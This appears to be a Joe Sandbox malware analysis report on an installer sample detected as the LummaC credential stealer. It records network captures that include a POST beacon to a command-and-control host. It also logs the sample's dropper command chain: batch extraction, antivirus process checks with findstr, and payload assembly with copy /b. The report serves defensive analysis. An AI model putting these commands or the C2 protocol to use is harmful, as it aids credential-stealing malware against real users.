2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: 6e a6 23 6a c8 d0 cc 24 60 63 f4 b6 8c d6 7f 1d ed 6d c0 7f 9b f2 4e f3 23 ee f8 31 d9 a2 43 6f a5 81 6f 7a b5 25 6c 49 6a 3d 20 c8 f1 42 14 fc 5c 1c 2d 07 55 6b f4 36 4b 2a 6e 67 7a d3 62 8b 2c fc 68 c2 05 a6 b4 61 9b 22 b8 83 92 e0 d0 dc 43 40 ba 39 35 6d f7 f4 ad cb 75 c7 15 65 ca 1b 75 35 40 37 4f 10 7e e7 31 7a 1a 4d 7f bb 31 6a 99 db df 3b c6 ff dd 16 fa a2 4e b8 ce 19 22 33 b2 02 f8 ef 99 1b f6 23 49 8b fc 7c 1f 61 fa bc 75 f8 9e 82 21 ee 5f 38 de 71 5d c0 8e 51 46 fc 84 f8 54 af 20 db 16 b0 bf cb 12 81 46 47 ee 1e 12 3f e3 30 57 9a d5 a5 86 aa a1 b4 40 7d f2 e0 d0 47 5c d2 41 2f 43 ed 1e c5 3e c7 b2 1d a1 67 64 49 7d 13 b8 f4 3a dd ce af 9c a1 f2 83 91 48 cb 31 4c d5 03 d2 73 d6 4f ab 2b 0d a4 69 5c fe 76 8d e1 11 24 93 44 61 85 7b 20 b4 9b a8 10 Data Ascii: n#j$`cmN#1Cooz%lIj= B\-Uk6K*ngzb,ha"C@95mueu5@7O~1zM1j;N"3#I\|au!_8q]QFT FG?0W@}G\A/C>gdI}:H1LsO+i\v$Da{
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: 74 ad fa f7 fc e6 48 df 87 fb 1b 0a bf 40 d1 8d 55 23 a1 6e 29 c7 5b f4 0c 83 99 f4 99 3a 28 05 a9 cc 30 57 5c 6a bf a0 a7 af a2 a8 72 5f f9 19 d2 06 d9 67 30 1c 23 a3 db 7f 22 8c 5e eb fa c8 6c 27 83 28 00 ca 4b c7 cb cb 0d bc e2 00 3e 78 41 bb 3e 5c da d1 8f 33 95 71 19 10 fa fd 82 d3 dd 8c 3f eb b6 d7 b5 1b 15 af 67 a8 70 65 ce 91 f4 b7 ec 2d 17 b5 ae d2 b8 c1 1f 82 45 b7 5a b9 7c e7 d8 da 31 73 48 4a 66 a5 ca a6 3d 3b 7d d2 d6 fb 2a d0 a7 a5 1f cd 68 0d cd a7 a9 73 13 82 77 a5 4f d9 c0 71 f0 df 94 fe 6f 3d 83 37 0d 01 a1 00 ea c1 4b 1a db 70 84 83 9d bf ad 8d 7f a0 67 07 6d bc 2e 08 da 1a 3b c9 a9 62 1e dc 41 3e 96 df c5 e6 f4 1a 0b c4 28 65 0e be 97 03 5a 47 68 d7 3f a7 e5 2a b6 dc 0e d0 7e 1c fe f9 8e f1 2d 2d 30 5d 12 d5 80 a8 f4 3e 71 24 08 13 65 Data Ascii: tH@U#n)[:(0W\jr_g0#"^l'(K>xA>\3q?gpe-EZ\|1sHJf=;}hswOqo=7Kpgm.;bA>(eZGh?~--0]>q$e
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: b4 21 56 54 93 4f 1d b5 a7 e5 50 92 0e c6 f6 cc 81 1b 36 63 88 4e 77 4d 15 3a 0e 25 c3 3a b7 96 8c 80 2f ac 66 01 fc bc a5 02 4d 55 17 01 b1 cf fa 02 9e 8a 28 75 a9 40 68 ec 79 c7 aa 97 c5 1d 36 84 eb 5b 88 7b 0e 72 c7 7c 41 bd 3a a3 6f 21 66 3d 0c a6 c1 a1 17 16 c3 55 fa e0 c3 b2 2d 13 54 2a 76 d6 9f 86 0a c3 41 92 a8 f3 ab 95 3a 47 c2 64 b6 46 03 cb 06 b8 35 ba 23 89 84 8e 36 c4 a5 de 42 3f be 8b 42 20 a9 cd a4 f1 f6 ba b1 53 53 60 aa cc 9e 62 94 d9 3d 0b e1 0d 89 d5 bd d2 ef 0a 88 5e a2 c2 5a 56 7d 61 51 61 93 b8 77 e6 6d 98 23 6e 5a 57 30 e7 a1 d8 c5 2b 2e 11 c6 bc 2a fd 6e 96 5e a6 a3 b9 04 7f 6e 3f 8c f0 98 4e 8e 67 74 d7 6f d6 ee 9d e0 39 76 c5 54 18 15 4a 5d 9f 19 a2 ef 86 95 66 79 75 4a b1 65 e9 d3 6e da 19 00 47 85 99 ad 79 c3 d7 f5 26 b2 03 e2 Data Ascii: !VTOP6cNwM:%:/fMU(u@hy6[{r\|A:o!f=U-TvA:GdF5#6B?B SS`b=^ZV}aQawm#nZW0+.n^n?Ngto9vTJ]fyuJenGy&
2025-02-16 13:32:04 UTC	15331	OUT	Data Raw: 72 91 5d ec d0 b3 10 77 1a 36 9d 05 d9 8d b5 d6 bf eb dd 98 22 2c 95 ad fc bf 0b 1d af 77 7d 23 51 eb af e6 d6 db f3 01 1d d1 82 6f 8c 97 07 47 e4 c0 3b 19 3d 24 78 da 27 9a 6e 1e f2 63 bb 65 7f b2 c9 d5 ad 1f cf 84 35 c0 c9 75 3b 75 fe cf 00 c7 d5 4a 58 22 ae 90 17 e8 ac dd f6 ba 75 d7 f9 28 f5 07 12 ed 57 7b eb 5d 92 1c f8 2d 77 4a 17 f7 bc 4e 1c c2 71 55 02 aa a4 6f 7e 54 49 78 8b 21 da d6 a0 b0 83 ca bb d1 c7 f6 1a c1 8e 90 6c 15 38 5c 7f 3d 2d cc 4d a5 71 b7 09 ef e9 d1 77 9d f8 bc a8 a1 98 f9 ab 66 69 1d e2 b7 88 42 9f 1d a8 5d c9 a1 03 77 e4 36 ec af ad 7d 14 c1 73 5f d0 45 69 18 c3 43 82 4a 8a 09 96 d9 82 af 8f 6a 7d 8a 7e b3 c9 3e 52 ec 01 65 3b 79 a9 4b 7b 51 29 2e d8 b9 f1 62 e1 bb ce cd 91 bc 2c 0c c7 cd 4c 7a 1a 03 e1 e6 5c 9b b1 e3 6b 6f 6b Data Ascii: r]w6",w}#QoG;=$x'nce5u;uJX"u(W{]-wJNqUo~TIx!l8\=-MqwfiB]w6}s_EiCJj}~>Re;yK{Q).b,Lz\kok
2025-02-16 13:32:06 UTC	1044	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:32:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=ui8h7qsoglpajp3tvbpqe388n2; expires=Mon, 17 Feb 2025 13:32:06 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eC8UYRhKTDjqVp7CtiiAmlv5%2F6pGBy9V3RbEEu3TbdaqySsHHHapuHnjg2fbDZEgMNa4M4W1k930ztWg0P%2FKE4Ku7%2F8uLK%2FjLMxP4iX8TAYhslPrZSZ1jOdP55j9cwj36am0TxMG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6d2dbd17c9f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1788&rtt_var=674&sent=305&recv=593&lost=0&retrans=0&sent_bytes=2846&recv_bytes=577129&delivery_rate=1617728&cwnd=231&unsent_bytes=0&cid=97c4562186839b48&ts=1632&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49745	188.114.97.3	443	6484	C:\Users\user\AppData\Local\Temp\670499\Considering.com

Timestamp	Bytes transferred	Direction	Data
2025-02-16 13:32:06 UTC	267	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 89 Host: jookerkslxsafkr.xyz
2025-02-16 13:32:06 UTC	89	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 32 57 43 38 67 42 2d 2d 6d 65 67 61 6c 75 74 7a 61 6c 75 74 26 6a 3d 26 68 77 69 64 3d 37 38 44 41 39 45 30 44 39 36 36 45 34 41 35 43 32 46 38 34 41 31 38 34 46 33 38 37 46 39 41 33 Data Ascii: act=get_message&ver=4.0&lid=2WC8gB--megalutzalut&j=&hwid=78DA9E0D966E4A5C2F84A184F387F9A3
2025-02-16 13:32:07 UTC	1046	IN	HTTP/1.1 200 OK Date: Sun, 16 Feb 2025 13:32:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Set-Cookie: PHPSESSID=ok2pndign1gvb5eqlcga2sr8h3; expires=Mon, 17 Feb 2025 13:32:07 GMT; Max-Age=86400; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ptB6J4Yuk9LTHzwAQhAkGI%2FEicYA0aYuTF7m%2BodCMzqbHjfIc3kF4KxareWPRqAQoA3cl%2BB6LQDIH%2BqCVpBS2KhS7ZT0l76m48hgvfd%2BWfQ%2FQW5vBI%2BQWTx8uYUrJ8%2FPpzLMR%2FtD"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 912de6e039ae0f71-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1488&min_rtt=1487&rtt_var=560&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2845&recv_bytes=992&delivery_rate=1947965&cwnd=250&unsent_bytes=0&cid=3186811d1887ad9b&ts=460&x=0"
2025-02-16 13:32:07 UTC	54	IN	Data Raw: 33 30 0d 0a 4e 57 68 5a 31 35 4b 6a 62 56 37 63 49 4d 59 43 7a 64 4a 61 4a 64 70 79 4f 42 71 34 4a 31 30 42 7a 43 69 6e 47 66 67 68 38 37 5a 75 4e 51 3d 3d 0d 0a Data Ascii: 30NWhZ15KjbV7cIMYCzdJaJdpyOBq4J10BzCinGfgh87ZuNQ==
2025-02-16 13:32:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	08:31:18
Start date:	16/02/2025
Path:	C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\lnst#U0430Il#U0435r86x.exe"
Imagebase:	0x400000
File size:	1'409'281 bytes
MD5 hash:	80366AC1383E6415790B9993205EFB78
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	08:31:18
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c expand Meyer.pps Meyer.pps.bat & Meyer.pps.bat
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	08:31:18
Start date:	16/02/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	08:31:19
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\expand.exe
Wow64 process (32bit):	true
Commandline:	expand Meyer.pps Meyer.pps.bat
Imagebase:	0x310000
File size:	53'248 bytes
MD5 hash:	544B0DBFF3F393BCE8BB9D815F532D51
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	08:31:19
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x970000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	08:31:19
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /I "opssvc wrsa"
Imagebase:	0xf20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	08:31:20
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\tasklist.exe
Wow64 process (32bit):	true
Commandline:	tasklist
Imagebase:	0x970000
File size:	79'360 bytes
MD5 hash:	0A4448B31CE7F83CB7691A2657F330F1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	08:31:20
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Imagebase:	0xf20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	08:31:21
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c md 670499
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	08:31:21
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\extrac32.exe
Wow64 process (32bit):	true
Commandline:	extrac32 /Y /E Notes.pps
Imagebase:	0x7ff7699e0000
File size:	29'184 bytes
MD5 hash:	9472AAB6390E4F1431BAA912FCFF9707
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	08:31:21
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\findstr.exe
Wow64 process (32bit):	true
Commandline:	findstr /V "Postal" Warnings
Imagebase:	0xf20000
File size:	29'696 bytes
MD5 hash:	F1D4BE0E99EC734376FDE474A8D4EA3E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	08:31:21
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b 670499\Considering.com + Typically + Longitude + Nikon + Bumper + Tire + Nick + Tunisia + Festivals + Rabbit 670499\Considering.com
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	08:31:21
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c copy /b ..\Celebs.pps + ..\Harvest.pps + ..\Come.pps + ..\Ban.pps + ..\Spain.pps + ..\Irrigation.pps + ..\Communicate.pps J
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	08:31:21
Start date:	16/02/2025
Path:	C:\Users\user\AppData\Local\Temp\670499\Considering.com
Wow64 process (32bit):	true
Commandline:	Considering.com J
Imagebase:	0xfe0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2039177399.0000000004685000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2038585408.0000000004631000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2038438512.00000000046F5000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2038354438.0000000004798000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2038714564.0000000004E39000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2039253834.0000000004831000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer_4, Description: Yara detected LummaC Stealer, Source: 0000000D.00000003.2038864349.0000000004798000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	08:31:22
Start date:	16/02/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x500000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	27

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report lnst#U0430Il#U0435r86x.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\670499\Considering.com

C:\Users\user\AppData\Local\Temp\670499\J

C:\Users\user\AppData\Local\Temp\Ban.pps

C:\Users\user\AppData\Local\Temp\Bumper

C:\Users\user\AppData\Local\Temp\Celebs.pps

C:\Users\user\AppData\Local\Temp\Come.pps

C:\Users\user\AppData\Local\Temp\Communicate.pps

C:\Users\user\AppData\Local\Temp\Festivals

C:\Users\user\AppData\Local\Temp\Harvest.pps

C:\Users\user\AppData\Local\Temp\Irrigation.pps

C:\Users\user\AppData\Local\Temp\Longitude

C:\Users\user\AppData\Local\Temp\Meyer.pps

C:\Users\user\AppData\Local\Temp\Nick

C:\Users\user\AppData\Local\Temp\Nikon

Windows Analysis Report
lnst#U0430Il#U0435r86x.exe